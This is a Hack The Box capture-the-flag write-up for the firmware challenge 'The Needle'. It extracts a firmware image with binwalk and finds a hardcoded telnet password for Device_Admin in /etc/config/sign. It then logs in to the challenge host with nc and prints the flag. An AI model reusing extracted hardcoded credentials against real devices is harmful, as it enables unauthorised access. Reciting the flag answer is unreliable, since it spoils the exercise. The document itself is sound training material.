๐Ÿ’‰The Needle

https://app.hackthebox.com/challenges/The%2520Needle

โ•ฐโ”€ file firmware.bin                                                                                                 โ”€โ•ฏ
firmware.bin: Linux kernel ARM boot executable zImage (big-endian)
โ•ฐโ”€ binwalk -e firmware.bin
...
โ•ฐโ”€ grep -rn "./" -e login                                                                                            โ”€โ•ฏ
grep: ./squashfs-root/bin/busybox: binary file matches
./squashfs-root/bin/config_generate:231:                set system.@system[-1].ttylogin='0'
./squashfs-root/etc/config/rpcd:2:config login
./squashfs-root/etc/inittab:3:::askconsole:/usr/libexec/login.sh
./squashfs-root/etc/profile:40:in order to prevent unauthorized SSH logins.
./squashfs-root/etc/scripts/telnetd.sh:7:       if [ -f "/usr/sbin/login" ]; then
./squashfs-root/etc/scripts/telnetd.sh:9:               telnetd -l "/usr/sbin/login" -u Device_Admin:$sign      -i $lf &
grep: ./squashfs-root/lib/libc.so: binary file matches
...
โ•ฐโ”€ find ./ -name sign                                                                                                โ”€โ•ฏ
./squashfs-root/etc/config/sign
./squashfs-root-0/etc/config/sign
...

โ•ฐโ”€ cat ./squashfs-root/etc/config/sign                                                                               โ”€โ•ฏ
qS6-X/n]u>fVfAt!
โ•ฐโ”€ nc 83.136.251.197 42886                                                                                           โ”€โ•ฏ
๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ๏ฟฝ
ng-1874835-hwtheneedle-lhjwv-cf4d688c7-xlwxl login: Device_Admin
Device_Admin
Password: qS6-X/n]u>fVfAt!

ng-1874835-hwtheneedle-lhjwv-cf4d688c7-xlwxl:~$ ^[[30;49RLS
LS
-ash: LS: not found
ng-1874835-hwtheneedle-lhjwv-cf4d688c7-xlwxl:~$ ^[[30;49Rls
ls
flag.txt
ng-1874835-hwtheneedle-lhjwv-cf4d688c7-xlwxl:~$ ^[[30;49Rcat flag.txt
cat flag.txt
HTB{4_hug3_blund3r_d289a1_!!}
ng-1874835-hwtheneedle-lhjwv-cf4d688c7-xlwxl:~$ ^[[30;49R

Last updated